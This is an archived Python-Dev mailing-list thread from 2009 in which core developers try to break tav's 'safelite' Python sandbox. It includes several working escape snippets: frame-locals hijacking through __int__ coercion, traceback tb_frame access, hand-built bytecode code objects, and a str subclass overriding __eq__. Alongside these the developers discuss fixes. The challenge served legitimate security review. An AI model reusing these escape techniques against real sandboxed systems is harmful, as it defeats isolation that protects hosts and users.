Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-28 Thread Samuele Pedroni

Guido van Rossum wrote:

On Mon, Feb 23, 2009 at 3:16 PM, Martin v. Löwis mar...@v.loewis.de wrote:
  

Don't I remember the previous restricted module dying a similar death
of 1,000 cuts before it was concluded to be unsafe at any height and
abandoned?
  

I think you are slightly misremembering. It got cut again and again,
but never died. Then, new-style classes hit an artery, and it bled
to death.

I'm curious how this one fares.



FWIW, I am remembering more about how Samuele cracked it. It had to do
with getting the supervisor code to call one of its own functions with
arguments provided by the sandboxed code. Tav's safelite.py doesn't
seem to be directly exploitable that way because (using ctypes hacks)
it *removes* some offending special methods. But that door would be at
least slightly ajar with Tar's proposed patch to Python, as that
doesn't remove the offending attributes (__subclasses__ etc.); it only
forbids them in restricted mode. But this once again enables Samuele's
hack. (Oh if I only could find the link with the actual attack -- it
was quite a bit more devious than attacks linked to so far.)

  

http://mail.python.org/pipermail/python-dev/2003-March/033978.html
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Nick Coghlan
tav wrote:
 1. Remove ``compile`` from the safe builtins
 2. Take out ``tb_frame``
 
 Thoughts on which of the two options is better would be very appreciated!

Given the context manager hack I just sent you (similar in spirit to
Paul's, just using a context manager's __exit__() method to get hold of
the traceback instead of hacked bytecode), I think we can safely say
that tb_frame has to go.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncogh...@gmail.com   |   Brisbane, Australia
---
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Antoine Pitrou
tav tav at espians.com writes:
 
 I've fixed this hole in safelite.py, but would be interested to know
 if there are other non-user-initiated dynamically imported modules?

You'd better make __builtins__ read-only, it will plug a whole class of attacks
like this.


___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Andrew Dalke
Another hole. Not as devious as some, but easy to fix with yet another
type check. And probably you want to get rid of get_frame from
safelite.

This trick notices 'buffering' is passed to open, which does an int
coerce of non-int objects. I can look up the stack frames and get
open_file, which I can then use for whatever I want.

In this case, I used the hole to reimplement 'open' in its entirety.

import safelite

class GetAccess(object):
def __init__(self, filename, mode, buffering):
self.filename = filename
self.mode = mode
self.buffering = buffering
self.f = None

def __int__(self):
# Get access to the calling frame.
# (Strange that that function is available.)
frame = safelite.get_frame(1)

# Look at that nice function right there.
open_file = frame.f_locals[open_file]

# Get around restricted mode
locals_d = {}
exec 
def breakout(open_file, filename, mode, buffering):
return open_file(filename, mode, buffering)
 in frame.f_globals, locals_d
del frame

# Call the function
self.f = locals_d[breakout](open_file, self.filename,
self.mode, self.buffering)

# Jump outta here
raise TypeError

def open(filename, mode=r, buffering=0):
get_access = GetAccess(filename, mode, buffering)
try:
safelite.FileReader(whatever, r, get_access)
except TypeError:
return get_access.f

f = open(busted.txt, w)
f.write(Broke out of jail!\n)
f.close()

print Message is:, repr(open(busted.txt).read())


Andrew Dalke
da...@dalkescientific.com
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Andrew Dalke
Another hole. Not as devious as some, but easy to fix with yet another
type check.

This trick notices 'buffering' is passed to open, which does an int
coerce of non-int objects. I can look up the stack frames and get
open_file, which I can then use for whatever I want.

In this case, I used the hole to reimplement 'open' in its entirety.

import safelite

class GetAccess(object):
def __init__(self, filename, mode, buffering):
self.filename = filename
self.mode = mode
self.buffering = buffering
self.f = None

def __int__(self):
# Get access to the calling frame.
# (Strange that that function is available, but I
# could do it the old-fashioned way and raise/
# catch and exception)
frame = safelite.get_frame(1)

# Look at that nice function right there.
open_file = frame.f_locals[open_file]

# Get around restricted mode
locals_d = {}
exec 
def breakout(open_file, filename, mode, buffering):
return open_file(filename, mode, buffering)
 in frame.f_globals, locals_d
del frame

# Call the function
self.f = locals_d[breakout](open_file, self.filename,
self.mode, self.buffering)

# Jump outta here
raise TypeError

def open(filename, mode=r, buffering=0):
get_access = GetAccess(filename, mode, buffering)
try:
safelite.FileReader(whatever, r, get_access)
except TypeError:
return get_access.f

f = open(busted.txt, w)
f.write(Broke out of jail!\n)
f.close()

print Message is:, repr(open(busted.txt).read())


Andrew Dalke
da...@dalkescientific.com
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread tav
  antoine You'd better make __builtins__ read-only, it will
  antoine plug a whole class of attacks like this.

I tried to put this off as long as I could to try and unearth
interesting attacks.

But unfortunately I couldn't figure out a way to fix the warnings
approach used by Daniel without doing this -- so from v7 __builtins__
isn't shared any more.

The good thing is that we won't have more of the __builtins__ class of
attacks -- the flip side is that we might be closing the door on
discovering some really interesting gems...

  andrew I can look up the stack frames and get
  andrew open_file, which I can then use for whatever I want.

Ehm, thanks for taking the time to implement that Andrew.

But the challenge was about doing `from safelite import FileReader`.

I specifically stated that form over the openly exploitable `import
safelite`... so, sorry =(

You have to remember that this isn't the way that this code will
actually be used in practise. This is just a challenge to see if the
model holds...

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Cesare Di Mauro
On Feb, 24 2009 at 12:11PM, Antoine Pitrou solip...@pitrou.net wrote:

 tav tav at espians.com writes:

 I've fixed this hole in safelite.py, but would be interested to know
 if there are other non-user-initiated dynamically imported modules?

 You'd better make __builtins__ read-only, it will plug a whole class of 
 attacks
 like this.

I found very useful adding objects to the builtins namespace, but I'll prefer a
standard and controlled way to do so. Something like a built-in function
install, like the following which I use:

import __builtin__, types

_ValidBuiltinTypes = (types.BuiltinFunctionType, types.ClassType,
  types.FunctionType, types.GeneratorType,
  types.TypeType, functools.partial)

def install(*Args, **Keys):
  '''Installs the given parameters in the builtins namespace.
  From Args will be installed only valid types (classes, functions and types),
  taking their __name__ attribute.
  Every keyword-value cuple from Keys will be installed as is.'''

  _NameSpace = __builtin__.__dict__

  for Arg in Args:
if isinstance(Arg, _ValidBuiltinTypes):
  _NameSpace[Arg.__name__] = Arg

  for Key, Value in Keys.iteritems():
_NameSpace[Key] = Value


With a built-in install function a granular control can be implemented by
the running Python implementation.

Also, having builtins read only by default can be used in future compiler
and virtual machine implementations to gain interesting optimizations.

Cheers,
Cesare
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread tav
Hey Nick,

 Given the context manager hack I just sent you (similar in spirit to
 Paul's, just using a context manager's __exit__() method to get hold of
 the traceback instead of hacked bytecode)

Thanks for this -- very cool!

 I think we can safely say that tb_frame has to go.

I've fixed this in v8 -- got a website that I can link to for the blog?

And instead of trying to make tb_frame go away, I'd like to add the
following to my proposed patch of RESTRICTED attributes:

* f_code
* f_builtins
* f_globals
* f_locals

That seems to do the trick...

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Andrew Dalke
tav t...@espians.com
 But the challenge was about doing `from safelite import FileReader`.

Though it doesn't say so on the first post on this thread nor your page at
  http://tav.espians.com/a-challenge-to-break-python-security.html

It says Now find a way to write to the filesystem from your
interpreter. Which is what I did.  Who's to say your final
implementation will be more secure ;)

But I see your point. Perhaps update the description for those
misguided souls like me?

 This is just a challenge to see if the model holds

I haven't been watching this discussion closely and I can't find
mention of this - is the goal to support only 2.x or also support
Python 3? Your model seems to assume 2.x only, and there may be 3.x
attacks that aren't considered in the challenge.

For example, in Python 3 I would use the __traceback__ method of the
exception object to reach in and get the open function.  That seems
morally equivalent to what I did.

I hacked out the parts of safelite.py which wouldn't work in Python3.
Following is a variation on the theme.

import safelite

try:
safelite.FileReader(/dev/null, r, x)
except TypeError as err:
frame = err.__traceback__.tb_next.tb_frame
frame.f_locals[open_file](test.txt, w).write(done.)


 And instead of trying to make tb_frame go away, I'd like to add the
 following to my proposed patch of RESTRICTED attributes:

 * f_code
 * f_builtins
 * f_globals
 * f_locals

which of course would make the above no longer work.

Cheers,

Andrew
da...@dalkescientific.com
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Andrew Dalke
On Tue, Feb 24, 2009 at 3:05 PM, tav t...@espians.com wrote:
 And instead of trying to make tb_frame go away, I'd like to add the
 following to my proposed patch of RESTRICTED attributes:

 * f_code
 * f_builtins
 * f_globals
 * f_locals

 That seems to do the trick...

A goal is to use this in App Engine, yes? Which uses cgitb to report
errors? Which needs these restricted frame attributes to report the
values of variables when the error occurred?

Andrew Dalke
da...@dalkescientific.com
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Victor Stinner
Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez écrit :
  And instead of trying to make tb_frame go away, I'd like to add the
  following to my proposed patch of RESTRICTED attributes:
 
  * f_code
  * f_builtins
  * f_globals
  * f_locals
 
  That seems to do the trick...

 A goal is to use this in App Engine, yes? Which uses cgitb to report
 errors? Which needs these restricted frame attributes to report the
 values of variables when the error occurred?

We should be able to restore the original environment. Example:

   ...
   jail(evil_func)  # called in the jail
   # unsafe environment with __subclasses__, f_code, etc.
   ...

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread tav
Hey Andrew  Victor,

  tav But the challenge was about doing `from safelite import FileReader`.

  Andrew Though it doesn't say so on the first post on this thread
  Andrew nor your page at
  Andrew http://tav.espians.com/a-challenge-to-break-python-security.html

Sorry, perhaps I should have clearly instructed NOT to do `import safelite`.

I thought the following text would have been clear enough:

  Open a fresh Python interpreter and do:
   from safelite import FileReader

But I can see how that might not have been enough. I'll amend the
second line to:

   from safelite import FileReader # AND NOT ``import safelite``

Would that be clearer?

  Andrew I haven't been watching this discussion closely
  Andrew and I can't find mention of this

Sorry, the discussion has been meandering. It started on:

* http://code.google.com/p/googleappengine/issues/detail?id=671

Then went onto:

* http://codereview.appspot.com/21043/show

And finally ended up here on Python-Dev to get approval for the patch.
And in the process of getting the approval, the safelite challenge
started...

  Andrew is the goal to support only 2.x or also support
  Andrew Python 3? Your model seems to assume 2.x
  Andrew only, and there may be 3.x attacks that aren't
  Andrew considered in the challenge.

The model is suited for both 2.x and 3.x. The safelite test on the
other hand is targeted at 2.x (starting from 2.5).

You have a point with regards to there being 3.x attacks being out
there. Perhaps we can get a 3.x compatible version of safelite out?

  tav And instead of trying to make tb_frame go away, I'd like
  tav to add the following to my proposed patch of
  tav RESTRICTED attributes [snip]

  Andrew which of course would make the above no longer work.

The challenge helped identify those attributes. And will hopefully
identify any other leak attributes which may still be there.

  Andrew A goal is to use this in App Engine, yes?

Yes.

  Andrew Which uses cgitb to report errors? Which needs these
  Andrew restricted frame attributes to report the values of
  Andrew variables when the error occurred?

The frame attributes will still be accessible by cgitb. Python's
existing IsRestricted framework in the interpreter will take care of
that.

It's genius!!

  Victor We should be able to restore the original environment.
  Victor Example:

  Victor jail(evil_func)  # called in the jail
  Victor # unsafe environment with __subclasses__, f_code, etc.

Hmz, Python's IsRestricted already enables this.

I think it's time that I wrote some documentation that Martin wanted
explaining Python's already existing IsRestricted support.

Besides a few lines here and there, there seems to be no comprehensive
documentation on this that I can find anywhere. And I think this may
be the cause of much confusion?

Would that help?

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread P.J. Eby

At 03:52 PM 2/24/2009 +0100, Victor Stinner wrote:

Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez écrit :
 A goal is to use this in App Engine, yes? Which uses cgitb to report
 errors? Which needs these restricted frame attributes to report the
 values of variables when the error occurred?

We should be able to restore the original environment. Example:

   ...
   jail(evil_func)  # called in the jail
   # unsafe environment with __subclasses__, f_code, etc.
   ...


Of course, you'll have to ensure that anything you do with data from 
the jail is also jailed...  that callbacks run in the jail, 
etc.  (This is one advantage of the RestrictedPython approach -- the 
jailing of the restricted code isn't dependent on some global state; 
it's wired right into the restricted code.)


___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Jeff Hall
I didn't see Tav actually say this but are we all agreed that compile()
should be removed from __builtins__?
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Guido van Rossum
On Mon, Feb 23, 2009 at 11:07 PM, tav t...@espians.com wrote:
  guido I can access the various class and metaclass objects
  guido easily [snip]

 It would've been possible to replace __call__ on the metaclass --
 which, though not a security leak by itself, could've been abused for
 some fun.

 I've inlined the __metaclass__ to prevent fun of this kind.

In fact you don't need a metaclass at all. I think you could do
something like this in your Namespace() function:

...compute ns_items as before...
class NamespaceObject(object):
  __slots__ = ()
for name, value in ns_items:
  setattr(NamespaceObject, name, value)
return NamespaceObject()

 But the really tricky one so far is this hardcore hack that Paul
 Cannon emailed in:

 from safelite import FileReader
 __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 
 'eval'))(2, 2, 4, 67, 
 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S',
  (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, 
 (TypeError,))
 try:
 ...   FileReader('foo', 2)
 ... except:
 ...   pass
 ...
 stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')

That is a known loophole that makes anything possible (mostly
segfaults, for sure). App Engine also stops you from doing this.

 He explains it in detail here:
 http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html

 It's very cool!

 He uses the ``compile`` builtin to get hold of the CodeType and then
 uses that to construct a nifty function with custom bytecode. Turns
 out that with the bytecode one can grab traceback objects off of the
 stack!!

 And, from there, it's just a mere attribute access away to get hold of
 traceback.tb_frame!

 Paul, wisely, outlines the two possible options to remedy this:

 1. Remove ``compile`` from the safe builtins
 2. Take out ``tb_frame``

3. Disallow creating code objects from their constructor in restricted
mode. Please add this to your restricted patch.

(I still think your challenge would be more realistic if you didn't
share __builtins__ but instead relied on restricted mode more.)

 If compile is not present and given that func_code and gi_code are not
 present -- are there other ways of getting at the CodeType? If there
 aren't then getting rid of compile gives us an easy win.

You can also create code objects by unmarshalling them. This should
also be prevented in restricted mode.

 If getting rid of tb_frame is the approach -- then you were right
 Guido -- there are more variables which need to be restricted! But,
 this just makes the patch into 7 lines of code instead of 6, so I'm
 still happy =)

Restricting tb_frame is probably a good idea on its own; in 3.0 you
won't have to work so hard to get access to a traceback object, since
each exception has one. OTOH traceback.py uses some things from the
frame, but maybe we'll just have to forego that (or provide selected
R/O access to some frame attributes deemed benign).

 The only thing I can't figure out is how to get rid of the attribute
 using ctypes for the safelite challenge as calling
 dictionary_of(TracebackType) in safelite.py presents a very minimal
 {'__doc__': None}

I don't know anything about ctypes or dictionary_of(). Maybe you need
to raise an exception first so that PyType_Ready is called? The source
is in Python/traceback.c.

 Also, the comments in Lib/types.py states:

    # In the restricted environment, exc_info returns (None, None,
    # None) Then, tb.tb_frame gives an attribute error

 I can't seem to find the place in the Python source where exc_info()
 behaves differently under restricted mode...

I'm guessing this refers to a pseudo-implementation of sys.exc_info()
provided by rexec.py.

 Thoughts on which of the two options is better would be very appreciated!

 And thanks for the ongoing hacks guys -- this is turning out great!!

 --
 love, tav

 plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
 http://tav.espians.com | http://twitter.com/tav | skype:tavespian




-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Guido van Rossum
On Tue, Feb 24, 2009 at 6:46 AM, Andrew Dalke da...@dalkescientific.com wrote:
 On Tue, Feb 24, 2009 at 3:05 PM, tav t...@espians.com wrote:
 And instead of trying to make tb_frame go away, I'd like to add the
 following to my proposed patch of RESTRICTED attributes:

 * f_code
 * f_builtins
 * f_globals
 * f_locals

 That seems to do the trick...

 A goal is to use this in App Engine, yes? Which uses cgitb to report
 errors? Which needs these restricted frame attributes to report the
 values of variables when the error occurred?

The goal is not to run the entire app in the sandbox. The goal (Tav's
goal I should say -- I don't have this need myself :-) is for an app
to be able to safely run snippets of Python uploaded by users of the
app. I think it's fine if those snippets can't format beautiful
tracebacks -- the app's own ability to do so is not affected.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Guido van Rossum
On Tue, Feb 24, 2009 at 7:24 AM, Jeff Hall hall.j...@gmail.com wrote:
 I didn't see Tav actually say this but are we all agreed that compile()
 should be removed from __builtins__?

I personally disagree -- I think we should instead add restrictions on
the creation of new code objects by calling the constructor directly.
Calling compile() should be fine.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Guido van Rossum
On Tue, Feb 24, 2009 at 12:27 AM, tav t...@espians.com wrote:
 Daniel emailed in the exploit below and it is pretty devastating. It
 takes advantage of the fact that the warnings framework in 2.6+
 dynamically imports modules without being explicitly called!!

 I've fixed this hole in safelite.py, but would be interested to know
 if there are other non-user-initiated dynamically imported modules?

 Thanks Daniel for bringing this to our attention!

Grep the source for PyImport.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Daniel (ajax) Diniz
print '''
tav wrote:
 Daniel emailed in the exploit below and it is pretty devastating. It
 takes advantage of the fact that the warnings framework in 2.6+
 dynamically imports modules without being explicitly called!!

Here's one I couldn't develop to a working exploit, but think is promising.
It highlights a real Python bug and an implementation detail.

Targets 2.6 or trunk.

It was how I stumbled upon the _warnings hack :)

Should be copy-n-past'able,

Daniel
'''

# Hi
from safelite import FileReader

# First, it's possible to set a booby-trapped
# Exception due to a Python bug

# This is bait, say hi bait
def bait():
''' Hi! '''
try:
return bait()
except:
return Ready to go

# Set the trap
bait()

# Let FileReader trigger it - RuntimeError in Namespace:
FileReader('safelite.py')

# ^- shoud give:
# Traceback (most recent call last):
#   File stdin, line 1, in module
#   File safelite.py, line 242, in FileReader
# self = Namespace()
#   File safelite.py, line 165, in Namespace
# for name, obj in sys.get_frame_locals(frame) \
#   .iteritems():
#  RuntimeError: maximum recursion depth exceeded
#

# Now, I think this might be a special RuntimeError...
# Let's catch it! Bait, please?
bait()
try:
FileReader('safelite.py')
except Exception, caught:
pass

# Let's brand it
caught.__init__(I'm back, the other side is scary!)

# Now set it free and see if it comes back
bait()
try:
FileReader('safelite.py')
except Exception, caught_again:
pass

# Who's there?
print caught_again # - He's back!

# So, hm, that's it... not so exciting but might help
# traceback-based exploits. Did I mention little 'caught'
# there can carry arbitrary payloads? Nice boy.

# Another one
#
# Now, that we have a protection against _warnings,
# an obvious bait-less new trap is available

# Got a spare SystemError?
FileReader('safelite.py', 'r', 1.1)

# ^- shoud give:
# Traceback (most recent call last):
#  File stdin, line 1, in module
#  File safelite.py, line 201, in FileReader
#fileobj = open_file(filename, mode, buffering)
# SystemError: Objects/moduleobject.c:50: bad argument \
#   to internal function

# Nice, but I want a cleaner one. Hey, caught, could you?
print caught.message

# ^- shoud give:
# Traceback (most recent call last):
#   File stdin, line 1, in module
# SystemError: Objects/moduleobject.c:50: bad argument \
#  to internal function

# This seems to be a regular SystemError. It's not as
# polite as our pet RuntimeError 'caught', which can
# be silenced by intervening Exceptions.

# As I should stop playing with this, here's
# a plea for help: set 'caught' free before you go.

# Here's the target: freedom
class freedom(object):
def __repr__(self):
print list(sorted(globals()['__builtins__'].keys()))
print '\n\n\n'
return str(input('Type for freedom:\n  ;)  '))

# Initiate caught on it
caught.__init__(freedom())

# Set the bait...
bait()

# Now, type something clever :)
FileReader('safelite.py')
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Lie Ryan
On Mon, 23 Feb 2009 23:22:19 +, tav wrote:

 Steve, this isn't death by a 1,000 cuts. What's being put forward here
 is not a specific implementation -- but rather a specific model of
 security (the object capability model) -- which has been proven to be
 foolproof.

Proven? Isn't it impossible to prove something like this? Nobody ever 
see an alien is not a proof for There is no alien. Nobody have 
thought of a way to break the model is not a proof for The model is 
invincible...

___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Steve Holden
Lie Ryan wrote:
 On Mon, 23 Feb 2009 23:22:19 +, tav wrote:
 
 Steve, this isn't death by a 1,000 cuts. What's being put forward here
 is not a specific implementation -- but rather a specific model of
 security (the object capability model) -- which has been proven to be
 foolproof.
 
 Proven? Isn't it impossible to prove something like this? Nobody ever 
 see an alien is not a proof for There is no alien. Nobody have 
 thought of a way to break the model is not a proof for The model is 
 invincible...
 
Quite.

regards
 Steve
-- 
Steve Holden+1 571 484 6266   +1 800 494 3119
Holden Web LLC  http://www.holdenweb.com/

___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread tav
 I take it back, we need to find all the trivial ones too.

Agreed!

 BTW Tav, you ought to create a small website for this challenge. A
 blog post or wiki page would suffice.

Done.

http://tav.espians.com/a-challenge-to-break-python-security.html

Please blog/retweet and of course, try the challenge yourselves =)

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread Guido van Rossum
TWIW, on Twitter, Ian Bicking just came up with a half-solution. I
figured out the other half. I guess you own Ian drinks and me dinner.
:-)

$ python
Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09)
[GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2
Type help, copyright, credits or license for more information.
 from safelite import FileReader
 class S(str):
...   def __eq__(self, o): print o; return 'r' == o
...
 f = FileReader('w00t', S('w'))
r
 f.close()

$ ls -l w00t
-rw-r- 1 guido eng 0 Feb 23 14:50 w00t
$


On Mon, Feb 23, 2009 at 2:41 PM, tav t...@espians.com wrote:
 I take it back, we need to find all the trivial ones too.

 Agreed!

 BTW Tav, you ought to create a small website for this challenge. A
 blog post or wiki page would suffice.

 Done.

 http://tav.espians.com/a-challenge-to-break-python-security.html

 Please blog/retweet and of course, try the challenge yourselves =)

 --
 love, tav

 plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
 http://tav.espians.com | http://twitter.com/tav | skype:tavespian




-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread Steve Holden
Don't I remember the previous restricted module dying a similar death
of 1,000 cuts before it was concluded to be unsafe at any height and
abandoned?

regards
 Steve

Guido van Rossum wrote:
 TWIW, on Twitter, Ian Bicking just came up with a half-solution. I
 figured out the other half. I guess you own Ian drinks and me dinner.
 :-)
 
 $ python
 Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09)
 [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2
 Type help, copyright, credits or license for more information.
 from safelite import FileReader
 class S(str):
 ...   def __eq__(self, o): print o; return 'r' == o
 ...
 f = FileReader('w00t', S('w'))
 r
 f.close()

 $ ls -l w00t
 -rw-r- 1 guido eng 0 Feb 23 14:50 w00t
 $
 
 
 On Mon, Feb 23, 2009 at 2:41 PM, tav t...@espians.com wrote:
 I take it back, we need to find all the trivial ones too.
 Agreed!

 BTW Tav, you ought to create a small website for this challenge. A
 blog post or wiki page would suffice.
 Done.

 http://tav.espians.com/a-challenge-to-break-python-security.html

 Please blog/retweet and of course, try the challenge yourselves =)



-- 
Steve Holden+1 571 484 6266   +1 800 494 3119
Holden Web LLC  http://www.holdenweb.com/

___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread Guido van Rossum
Sorry, it wasn't Ian Bicking. I have no idea what made me thing that.
I guess I am not yet an experienced Tweeter. :-( It was Mark Eichin,
CC'ed here.

--Guido

On Mon, Feb 23, 2009 at 2:51 PM, Guido van Rossum gu...@python.org wrote:
 TWIW, on Twitter, Ian Bicking just came up with a half-solution. I
 figured out the other half. I guess you own Ian drinks and me dinner.
 :-)

 $ python
 Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09)
 [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2
 Type help, copyright, credits or license for more information.
 from safelite import FileReader
 class S(str):
 ...   def __eq__(self, o): print o; return 'r' == o
 ...
 f = FileReader('w00t', S('w'))
 r
 f.close()

 $ ls -l w00t
 -rw-r- 1 guido eng 0 Feb 23 14:50 w00t
 $


 On Mon, Feb 23, 2009 at 2:41 PM, tav t...@espians.com wrote:
 I take it back, we need to find all the trivial ones too.

 Agreed!

 BTW Tav, you ought to create a small website for this challenge. A
 blog post or wiki page would suffice.

 Done.

 http://tav.espians.com/a-challenge-to-break-python-security.html

 Please blog/retweet and of course, try the challenge yourselves =)

 --
 love, tav

 plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
 http://tav.espians.com | http://twitter.com/tav | skype:tavespian




 --
 --Guido van Rossum (home page: http://www.python.org/~guido/)




-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


